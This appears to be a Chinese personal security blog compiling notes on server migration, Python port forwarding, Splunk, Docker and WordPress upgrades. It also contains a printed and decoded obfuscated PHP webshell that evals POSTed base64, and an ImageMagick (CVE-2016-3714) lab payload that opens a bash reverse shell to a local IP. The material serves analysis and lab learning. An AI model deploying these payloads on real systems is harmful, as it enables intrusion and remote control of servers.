一次转移站点备份笔记

ssh确认站点路径:/data/apps/http/htdocs/

tar zcvf data2016.zip /data/apps/http/htdocs/ #压缩站点
mv data2016.zip /data/apps/http/htdocs/ #移动到站点根目录下载

mysqldump -u root -p wangzhanmysql > wangzhanmysql.sql #导出数据库
tar zcvf sql.zip ./wangzhanmysql.sql #压缩数据库
mv sql.zip /data/apps/http/htdocs/ #移动到站点根目录下载

####################阿里云服务器配置####################

yum install httpd
service httpd start #安装开始apache服务
#默认web站点目录 /var/www/html/

yum install php
yum install php-mysql php-gd php-imap php-mbstring
service httpd restart #安装php服务,重启apache生效

yum install mysql-server
service mysqld start #安装mysql服务
#默认data目录 /var/lib/mysql/data

chkconfig –levels 235 httpd on
chkconfig –levels 235 mysqld on #添加开机自启动
chkconfig –list | grep httpd
chkconfig –list | grep mysqld #检查是否添加成功

mysql -uroot
mysql> use wangzhanmysql
mysql> source sql.sql
#导入mysql数据库

tar -cvf data2016.tar
mv data2016 /var/www/html/ #移动到网站目录

mysqladmin -u root password “@root@”#修改mysql密码和程序连接数据库文件

#安装WEB安全狗
wget http://down.safedog.cn/safedog_linux64.tar.gz
tar xzvf safedog_linux64.tar.gz
cd cd safedog_an_linux64_2.8.15799/
chmod +x install.py
./install.py

#禁用本地危险函数
vi /etc/php.ini
disable_functions = exec,passthru,popen,proc_open,shell_exec,system,phpinfo,assert,chroot,getcwd,scandir,delete,rmdir,rename,chgrp,chown,copy,file,eval

python实现端口复用

当一个端口想在不同情况下转发到本地不同端口下,python实现端口复用就有用了,代码如下:

参考:http://www.jb51.net/article/51809.htm
http://blog.csdn.net/liujiayu2/article/details/40450823

#coding=utf-8
import socket
import sys
import select #异步
import threading
##http://www.jb51.net/article/51809.htm
##http://blog.csdn.net/liujiayu2/article/details/40450823

class Thread(threading.Thread):
  def __init__(self,buf,sockfd):
    threading.Thread.__init__(self)
    self.buf=buf
    self.sockfd=sockfd
  def run(self):
   if len(self.buf)!=0:
    if 'GET' in self.buf :  #判断是否是浏览器提交的数据如果是则将提交的数据转发至本地环回地址的80端口
     s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     s2.connect(('127.0.0.1',80))
     s2.send(self.buf)
     bufer=''
     while 1:
      recv_data=s2.recv(1024)
      bufer+=recv_data
      if len(recv_data)==0:
       break
     print bufer,len(bufer)
     if len(bufer)==0:
      pass    
     self.sockfd.send(bufer)  #将服务器发送的数据发回客户端
     s2.close
     self.sockfd.close
     sys.exit()
    else:
     'ps:connect to ssh' #如果数据不是浏览器提交则将其转发至本地的22端口
     s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     s2.connect(('127.0.0.1',22))
     s2.send(self.buf)
     recv_data=s2.recv(4096)
     conn.send(recv_data)
     self.sockfd.send(bufer)  #将服务器发送的数据发回客户端    
     self.sockfd.close
     s2.close

host='0.0.0.0'
port=5210    
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) #端口复用的关键点
s.bind((host,port))
s.listen(10)

while 1:
 infds,outfds,errfds=select.select([s,],[],[],5) #使用select函数进行非阻塞操作
 if len(infds)!=0:
  conn,(addr,port)=s.accept()
  print 'connected by',addr,port
  data=conn.recv(1024)
  t=Thread(data,conn)
  t.start()
s.close

python做端口服务banner识别

之前看过别人做mongo的POC,用socket实现的,这里也可能不应该叫做POC,叫做端口扫描,mongo默认端口是27017,细心的人可能发现mongo不仅支持TCP连接,而且还支持HTTP连接,HTTP会给出一个成功的响应,例如:mongo
You are trying to access MongoDB on the native driver port. For http diagnostic access, add 1000 to the port number
就可以针对 mongo 未授权和已授权,不同环境下的响应作出POC,虽然这不是最好的,也要给我们WEB狗一条生路,不能赶进杀绝吧。
而27017这个端口也实现了TCP连接,一个端口多种用途,这就是所谓的端口复用了,可能是考虑到用户体验? 某些应用总是会使用端口复用,端口复用如果用在rootkit里面+iptables规则会很隐蔽的哦,能做好事亦能做坏事;

回到做端口对应服务banner识别,一直用nmap识别端口,nmap是怎么实现的端口服务种类呢,有的是http有的是tcp或udp,http的比较好说,通过response判断就可以了,甚至肉眼直接看就好了,tcp和udp的可以用telnet去连接看返回的banner,tcp的比http的复杂,又分为主动式banner和被动式banner,主动式banner就是连接后会返回banner,被动式banner就是连接后,需要发消息告诉他我要banner信息,他会返回banner信息;

朋友给了一个案例:https://github.com/AnthraX1/InsightScan/blob/master/scanner.py 工具写的比较全噢、

原本是研究的 jdwp,其中发现一些问题,通过http和tcp两种情况来判断 jdwp服务是否存在、

1.socket 可以获取banner, http 是关闭的(可以获取banner);
2.scoket不可以获取banner,http是开启的(可以获取banner);
3.socket 可以获取banner, http 是开启的(都可以获取banner) 忽略这种情况;
4.scoket不可以获取banner,http是关闭的(都不可以获取banner)忽略这种情况;

针对 2.scoket不可以获取banner,http是开启的(可以获取banner) 这种情况 如果不存在的话, POC 只有1个, 如果存在的话 POC 会有2个。 这种情况一般不会把http转换为tcp去用,如果确定socket开启的话也是有可能存在漏洞的!jdwp 服务正常应该也类似mongo使用的端口复用吧,实际中利用 jdwp 是使用tcp协议,所以不用去管http是否开启了,POC如下:

# -*- coding: utf-8 -*-
import sys,socket
reload(sys)
sys.setdefaultencoding( "utf-8" )
#设置socket超时时间
socket.setdefaulttimeout(0.5)

ip = "10.1.5.243"
port = 8000

connet_res = socket.socket()
response = connet_res.connect_ex((ip, port))
if response == 0:
  connet_res.send('testing')#被动连接时
  banner = connet_res.recv(1024)#阻塞函数
  connet_res.close()
print u'当前端口:',port,u'Banner信息为:',banner

通过nmap识别端口服务:
nmap -p 8000 –script=banner 127.0.0.1 #普通方式识别 -》 HTTP
nmap -p 8000 –script=banner 127.0.0.1 -Pn #深入识别 -》 TCP

python实现端口转发

之前一直用花生壳做外网端口转发,但是花生壳是不稳定的噢,一次同事虚拟机用的NAT模式,虚拟机的IP地址相当于内网的内网了,内网C段是无法直接访问的,比如#有A、B、C三台计算机,A、B互通,B、C互通,但是A、C不通,通过端口转发解决A与C的互通问题,网上找到有人写的代码,加了一些注释直接用了,或许在某些场景下可以有更复杂的应用也不好说,代码如下:

本文代码来自:#http://www.tuicool.com/articles/VRNzaq
socket相关学习:http://yangrong.blog.51cto.com/6945369/1339593/

也可以通过这个端口转发做监控噢、

# -*- coding: utf-8 -*-
import socket
import threading

# 端口映射配置信息
CFG_REMOTE_IP = '192.168.23.133' #要转发的IP
CFG_REMOTE_PORT = 80 #要转发的端口
CFG_LOCAL_IP = '0.0.0.0' #连接IP白名单
CFG_LOCAL_PORT = 5210 #连接的端口号

# 接收数据缓存大小
PKT_BUFF_SIZE = 2048

#调试日志封装
def send_log(content):
    print content
    return

#单向流数据传递
def tcp_mapping_worker(conn_receiver, conn_sender):
    #开始消息循环
    while True:
        try:
            #接受数据
            data = conn_receiver.recv(PKT_BUFF_SIZE)
        except Exception:
            send_log('Event: Connection closed.')
            break
        #没有数据时,打印信息
        if not data:
            send_log('Info: No more data is received.')
            break
        #传递消息
        try:
            conn_sender.sendall(data)
        except Exception:
            send_log('Error: Failed sending data.')
            break

        # send_log('Info: Mapping data > %s ' % repr(data))
        send_log('Info: Mapping > %s -> %s > %d bytes.' % (conn_receiver.getpeername(), conn_sender.getpeername(), len(data)))

    conn_receiver.close()
    conn_sender.close()

    return

#端口映射请求处理
def tcp_mapping_request(local_conn, remote_ip, remote_port):
    #建立TCP流
    remote_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        #连接要转发的ip和端口
        remote_conn.connect((remote_ip, remote_port))
    except Exception:
        local_conn.close()
        send_log('Error: Unable to connect to the remote server.')
        return
    #把args参数传给tcp_mapping_worker函数做并发处理,开始线程
    threading.Thread(target=tcp_mapping_worker, args=(local_conn, remote_conn)).start()
    threading.Thread(target=tcp_mapping_worker, args=(remote_conn, local_conn)).start()

    return

#端口映射函数
def tcp_mapping(remote_ip, remote_port, local_ip, local_port):
    #建立TCP流
    local_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #绑定IP和端口
    local_server.bind((local_ip, local_port))
    #指定挂起数,开始监听端口
    local_server.listen(5)
    #打印日志
    send_log('Event: Starting mapping service on ' + local_ip + ':' + str(local_port) + ' ...')
    #开始消息循环
    while True:
        try:
            #接受消息并返回
            (local_conn, local_addr) = local_server.accept()
        except KeyboardInterrupt, Exception:
            local_server.close()
            send_log('Event: Stop mapping service.')
            break
        #把args参数传给tcp_mapping_request函数做并发处理,开始线程
        threading.Thread(target=tcp_mapping_request, args=(local_conn, remote_ip, remote_port)).start()
        #打印日志
        send_log('Event: Receive mapping request from %s:%d.' % local_addr)
    return

# 主函数
if __name__ == '__main__':
    tcp_mapping(CFG_REMOTE_IP, CFG_REMOTE_PORT, CFG_LOCAL_IP, CFG_LOCAL_PORT)

splunk入门笔记

#http://www.freebuf.com/articles/database/123006.html

wget -c https://download.splunk.com/products/splunk/releases/6.5.1/linux/splunk-6.5.1-f74036626f0c-Linux-x86_64.tgz
tar -zxvf splunk-6.5.1-f74036626f0c-Linux-x86_64.tgz
cd /splunk/bin/ && ./splunk start –accept-license

./splunk
#start //启动splunk
#–accept-license //自动接收许可
#restart //重启splunk
#status //查看splunk状态
#version //查看splunk版

http://127.0.0.1:8000
#默认8000端口
#进入splunk默认的管理员为:admin 密码为changeme;第一登录便会强制要求修改密码

#SSL配置
./splunk enable web-ssl //启用SSL
./splunk disable web-ssl //禁用SSL

#默认字段:
#index(指定特定索引),
#host(指定host 主机),
#sourcetype(数据源类型),
#source(日志文件路径)

#source=”access_log” host=”0535coder” sourcetype=”access_combined” #默认出来的搜索
#source=”tutorialdata.zip:*” index=”tutorialdata” #字段列表
##########source设置日志路径,host设置主机名,index设置索引名
##########当一份日志含有多个域名时,用index做区分

source=”access_log” host=”0535coder” | top clientip #客户端ip top10
source=”access_log” host=”0535coder” status > 200 | stats count by status # response stats top

index=*** uri=”*/login/userlogin.shtml*” | top ip #top ip

source=”logs.zip:*” index=”tutorialdata” sourcetype=access_common clientip=”127.0.0.1″ select sleep

一个寄生虫一句话木马分析

最近朋友站被频繁挂马、暂未找到寄生虫的寄生位置,貌似是着急处理把寄生虫清理了,没有备份,以前见过一次没有分析,也是各种绕,里面发现了一个一句话木马,真是奇葩、源代码如下:

<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
    $k=(($i+2)/2)%strlen($key);
    $p=substr($key, $k,1);
    if(is_numeric(substr($str, $i,1)))
    {
        $t=$t.chr(hexdec(substr($str, $i,2))-$p);
    }
    else
    {
        $t=$t.chr(hexdec(substr($str, $i,4)));
        $i=$i+2;
    }
}
return($t);
}

(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>

只有想不到的算法,没有做不到的一句话啊,变形一句话现在几百个至少了吧,混合起来估计至少要上千个变异版本,核心的估计也就几百个吧,调试了下一句话的使用,如下:

<?php
function cve($str,$key)
{
$t="";
echo $str.">>".$key."<br>";
for($i=0; $i<strlen($str); $i=$i+2)
{   echo $i." while ";//这里是循环次数
    $k=(($i+2)/2)%strlen($key);
    echo " ---- ".$k; //这里经过上面算法处理后的,本次(i+2/2)%(字符串长度)
    $p=substr($key, $k,1); //取key变量从$k开始,返回1个字符
    echo " ---- ".$p; //
    if(is_numeric(substr($str, $i,1)))//如果$str字符串在$i的位置返回是数字的话
    {
        $t=$t.chr(hexdec(substr($str, $i,2))-$p);
        echo $t." >>>>>>yes int"."<br>";//$str字符串在$i位置开始返回2个字符转化为10进制数字,然后减去上面的$p,用chr返回对应的ASCII码值
    }
    else
    {
        $t=$t.chr(hexdec(substr($str, $i,4)));
        $i=$i+2;
        echo $t." >>>>>>is no int"."<br>";//如果if判断的不是数字的话走这里,这里和上面一样区别是从$i位置开始返回4个字符并给$i+2,走到这个流程的话每次是4
    }
}
echo $t." >>>>>>return>>>>>>".$t."<br>";
return($t);
}

(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
//(@$_=assert).@$_(eval(base64_decode($_POST['z0']))); //第一次解密
//assert(eval(base64_decode($_POST['z0']))); //第二次解密

//发现是base64编码的变形马
echo "<br>".base64_encode("phpinfo();")."<br>"; //cGhwaW5mbygpOw==
//只要post发请求 z0=cGhwaW5mbygpOw== 即可使用了这个木马了
//不过这个木马觉得使用者应该会用跳板去中转base64编码,这样一个达到了跳板隐藏的作用,另一个用base64编码桡骨waf
?>

跑起来后运行结果如下:

6A767C687B77>>39
0 while —- 1 —- 9a >>>>>>yes int
2 while —- 0 —- 3as >>>>>>yes int
4 while —- 1 —- 9ass >>>>>>yes int
6 while —- 0 —- 3asse >>>>>>yes int
8 while —- 1 —- 9asser >>>>>>yes int
10 while —- 0 —- 3assert >>>>>>yes int
assert >>>>>>return>>>>>>assert
6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E>>520
0 while —- 1 —- 2e >>>>>>yes int
2 while —- 2 —- 0ev >>>>>>yes int
4 while —- 0 —- 5eva >>>>>>yes int
6 while —- 1 —- 2eval >>>>>>yes int
8 while —- 2 —- 0eval( >>>>>>yes int
10 while —- 0 —- 5eval(b >>>>>>yes int
12 while —- 1 —- 2eval(ba >>>>>>yes int
14 while —- 2 —- 0eval(bas >>>>>>yes int
16 while —- 0 —- 5eval(base >>>>>>yes int
18 while —- 1 —- 2eval(base6 >>>>>>yes int
20 while —- 2 —- 0eval(base64 >>>>>>yes int
22 while —- 0 —- 5eval(base64_ >>>>>>yes int
24 while —- 1 —- 2eval(base64_d >>>>>>yes int
26 while —- 2 —- 0eval(base64_de >>>>>>yes int
28 while —- 0 —- 5eval(base64_dec >>>>>>yes int
30 while —- 1 —- 2eval(base64_deco >>>>>>yes int
32 while —- 2 —- 0eval(base64_decod >>>>>>yes int
34 while —- 0 —- 5eval(base64_decode >>>>>>yes int
36 while —- 1 —- 2eval(base64_decode( >>>>>>yes int
38 while —- 2 —- 0eval(base64_decode($ >>>>>>yes int
40 while —- 0 —- 5eval(base64_decode($_ >>>>>>yes int
42 while —- 1 —- 2eval(base64_decode($_P >>>>>>yes int
44 while —- 2 —- 0eval(base64_decode($_PO >>>>>>yes int
46 while —- 0 —- 5eval(base64_decode($_POS >>>>>>yes int
48 while —- 1 —- 2eval(base64_decode($_POST >>>>>>yes int
50 while —- 2 —- 0eval(base64_decode($_POST[ >>>>>>yes int
52 while —- 0 —- 5eval(base64_decode($_POST[‘ >>>>>>yes int
54 while —- 1 —- 2eval(base64_decode($_POST[‘z >>>>>>yes int
56 while —- 2 —- 0eval(base64_decode($_POST[‘z0 >>>>>>yes int
58 while —- 0 —- 5eval(base64_decode($_POST[‘z0’ >>>>>>yes int
60 while —- 1 —- 2eval(base64_decode($_POST[‘z0’] >>>>>>yes int
62 while —- 2 —- 0eval(base64_decode($_POST[‘z0’]) >>>>>>yes int
64 while —- 0 —- 5eval(base64_decode($_POST[‘z0’])) >>>>>>yes int
eval(base64_decode($_POST[‘z0’])) >>>>>>return>>>>>>eval(base64_decode($_POST[‘z0’]))

擦,这算法,怎么想到的,再变个函数又一个变形版会诞生,起码这个安全狗可杀了,阿里云的云盾不行,查不到都…

前端html+js实现抢登陆

某站有登陆限制,登陆数量超过一定数就登陆不进去了,只有等人退出才能登陆进去,总不能一直手工登陆吧,手工点登陆好久也登陆不上,然后写个html代替手工提交post请求,因为涉及到跨域,而又不想写后端代码,只有提交一次打开一个页面了,如果通过后端判断,可以统计次数,判断登陆状态等,那需要分析HTTP数据包,可能是单点登陆的,只是做个可以用就好了,代码如下:

<!DOCTYPE html>
<html lang="zh-cn">
<head><title>OA刷登陆</title> <meta http-equiv="refresh" content="5"></head>
<body>
<center>
<form method="post" id="myform" class="myform" action="http://0535code.com/seeyon/main.do?method=login" target="_blank">
<input type="hidden" name="authorization" value="">
<input type="hidden" name="power" value="2">
<span>账户:</span><input type="txt" name="login_username" value="改为你的密码"> |
<span>密码:</span><input type="txt" name="login_password" value="改为你的账户"> |
<input type="hidden" name="random" value="">
<input type="hidden" name="fontSize" value="12">
<input type="hidden" name="screenWidth" value="1366">
<input type="hidden" name="screenHeight" value="768">
<input type="hidden" name="screenHeight" value="768">
<input type="button" value="开始登陆..." onclick="auto_submit();" />
</form>
</center>
<iframe height=768 width=1366 marginHeight=2 marginWidth=2 frameBorder=2 align="middle" scrolling=no  rel="nofollow"  src="http://0535code.com/seeyon/main.do?method=login"></iframe>
<script type="text/javascript">
function auto_submit() {
    //alert("test");
    document.getElementById('myform').submit();
    //setTimeout("auto_submit()", 2000);
}
auto_submit();
</script>
</body>
</html>

docker + VulApps 快速搭建漏洞环境

安装 docker

apt-get install docker.io
service docker.io start? #or# service docker start

#查看当前安装的docker信息
docker version

#帮助文档
docker #显示所有命令
docker images –help #进一步查询命令的使用
docker ps #查看docker容器里的进程
docker stop 980da4c2c89c #停止一个容器
docker run -t -i 镜像名 “/bin/bash” #进入一个新容器
docker exec -it 实例ID /bin/sh #进入一个正在运行的容器
docker exec 镜像名 要执行的命令#bash执行命令

看了下docker分为三部分,镜像、组件、仓库,从镜像中加载组件,而仓库是镜像的集合,使用案例如下:

#mongo容器实例
docker pull mongo #获取mongo镜像
docker run -d -p 27017:27017 mongo # -d为守护进程方式运行, -p 映射端口:docker容器端口

#ubuntu容器实例
docker pull ubuntu
docker run -t -i ubuntu /bin/bash # -t 标示在容器内指定一个伪终端, -i 标示在容器可交互

#redis容器实例
docker pull redis
docker run -p 6379:6379 redis
docker run -it redis /bin/bash #进入命令行模式,自定义加载配置文件

#centos容器实例
docker pull centos
docker run -t -i centos /bin/bash

猫头鹰上有篇文章很不错:http://www.mottoin.com/89312.html
搭建漏洞环境好东东:https://github.com/Medicean/VulApps

https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1

#ImageMagick 命令执行漏洞(CVE-2016–3714)
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 –name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
###以后启动用 docker run -d -p 8000:80 –name=58d6ed7041ea medicean/vulapps:i_imagemagick_1 #–name会提示镜像名
docker exec i_imagemagick_1 convert /poc.png 1.png #容器里执行 本地POC

远程exp加载,开始以为是在docker镜像里面,找了找没找到,应该在/var/lib/docker/里面某个文件里,这种方法不太好,还是直接进去改文件吧;
https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/Dockerfile 这里写了都做了那些操作;
#进入交互shell
docker run -t -i medicean/vulapps:i_imagemagick_1 “/bin/bash”

vi 1.jpg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i &gt;&amp; /dev/tcp/10.1.5.184/5210 0&gt;&amp;1")'
pop graphic-context

vi test.php

<!--?php $im = new Imagick('1.jpg'); $im-&gt;newPseudoImage(100, 100, "magick:rose");&lt;br ?--> $im-&gt;setImageFormat("png");
$im-&gt;roundCorners(5,3);
$type=$im-&gt;getFormat();
header("Content-type: $type");
echo $im-&gt;getimageblob();
?&gt;

上面进入交互shell模式了,可以创建文件,确一直不能访问,很奇怪,发现创建的文件权限是root,于是改的和其他文件一样了;

chown www-data test.php #所有组
chgrp www-data test.php #所有者

理论上root所有组和所有者也是可以访问的,只是不能通过web权限去修改改文件,改了后还是不行;

docker ps #查看当前运行的进程 CONTAINER ID 58d6ed7041ea
正确的进入 docker 容器方式应该是:
#docker run -t -i medicean/vulapps:i_imagemagick_1 “/bin/bash”
docker ps #找到进程ID
docker exec -it 4c7e3e545e83 /bin/bash

搞定后,nc监听 nc -l -p 5210,然后在外面访问
http://10.1.5.203:8000/test.php


#http://www.heblug.org/chinese_docker/userguide/dockerimages.html
# docker 中文指南

==========查看docker信息==========

#查看docker版本
docker version

#显示docker系统的信息
docker info

==========对镜像的操作==========

#搜索镜像
docker search 镜像名

#下载镜像
$docker pull 镜像名

#查看镜像列表
docker images

#删除一个镜像
docker rmi -f 镜像ID?? 或者用?? docker rm -f 镜像名

==========容器操作==========

#在容器中运行echo命令输出hello word
docker run 镜像名 echo “hello word”

#交互式进入容器中
docker run -i -t 镜像名 /bin/bash

#在容器中安装新的程序
docker run 镜像名 apt-get install -y vim? #在这部之前先 update

#列出当前运行的容器
docker ps

#保存对容器的修改
docker commit ID 新容器名字

#删除所有容器
docker rm `docker ps -a -q`

#删除单个容器
docker rm 容器名或ID

#停止、启动、杀死一个容器
docker stop 容器名或ID
docker start 容器名或ID
docker kill 容器名或ID

#查看一个容器的日志
docker logs 容器名或ID

#查看容器里的进程
docker top 容器名或ID

201612升级日志

原来没想太多,只是想备份下,无意间居然发现一个菠菜链寄生虫,还好没权限做坏事,删掉就好了,查了下是在去掉防御代码与切换加速乐周期时间段写入的,中间也转移过别的vps上,也没有日志,不查详情了!

这次升级合并了多个不同项目的 config.php
然后看网上说的wordpress本地化,要执行好几条sql,想了个简单的方法,直接用notepad++ 替换就好了;
把 http://0535code.com 替换为 http://127.0.0.1好了,修改下数据库连接直接本地化了!

以前在线编辑的代码有BOM,也是使用notepad++替换
把站点根目录文件夹搜索 \s*\n 替换为 \n

上面替换时忘记选文件类型了,结果图片的空行也被替换了,又复制回备份文件重新替换了下
本来想也把静态引用资源也合并下,减少冗余代码,节省空间,再想了下,那样做的话不方便移植,就没操作了!

然后本地手工做了升级,中间奇怪,wordpress升级数据库时把本地环境给搞崩溃了,调试半天没搞定,重装了下phpstudy才好了!
手工升级也遇到过一些问题,这里记录下顺序:
站点下除了wp-content目录外的所有文件都删掉,用新版的覆盖;
然后访问 /wp-admin/upgrade.php 升级数据库!

增加了上传图片添加水印DX-Watermark、添加文章自动提交百度插件百度sitemap;
这次把 phpweb建站系统单独分离出去了、phpweb建站系统采用zend加密,搞半天一直报错,心中有千万个草泥马在沸腾着,最后想起zend加密后,通过ftp传的要选择二进制方式传输,就一个config.inc.php 没有使用二进制模式传输,一直报common.php 0行有错误,之后重新选择二进制模式下载了该文件才解决了!
经常会用一些小工具,放在各种位置的都有,于是增加了 /tools/ 目录工具源,常用调试代码都放这里好了,做了个自动检索目录文件的index.php,方便浏览源代码!
之前由于phhweb的需要,要开启全局变量参数,这下迁移出去了,把全局变量参数关闭了;
这次主要还增加了一个插件 Codecolorer,为了便于吃瓜群众去吃瓜、偶尔自己也要吃瓜,就增加了代码样式插件,中间有的文章内容里有python代码,python比较规范,少一个空格都不行,有可能改的有些会有问题,有问题自己调试去吧!

本地化后,发现一些中文命名的图片会不显示,于是找到乱码文件名的图片,找到对应的文章,把图片路径修改了;
QQ聊天习惯了,没有表情是不方便,然后在评论和后台里添加了QQ表情、网上查的也遇到过问题、写的不完整,不过最终还是搞定了,用开源就是为了节省时间,不用自己开发浪费时间和精力呢!
启用评论功能,增加Akismet插件,#https://akismet.com/wordpress/
还想把谷歌广告去掉,只留下百度广告,等有时间再弄把,一次备份弄了这么多,已经身心疲惫了。。。 😥 😥 😥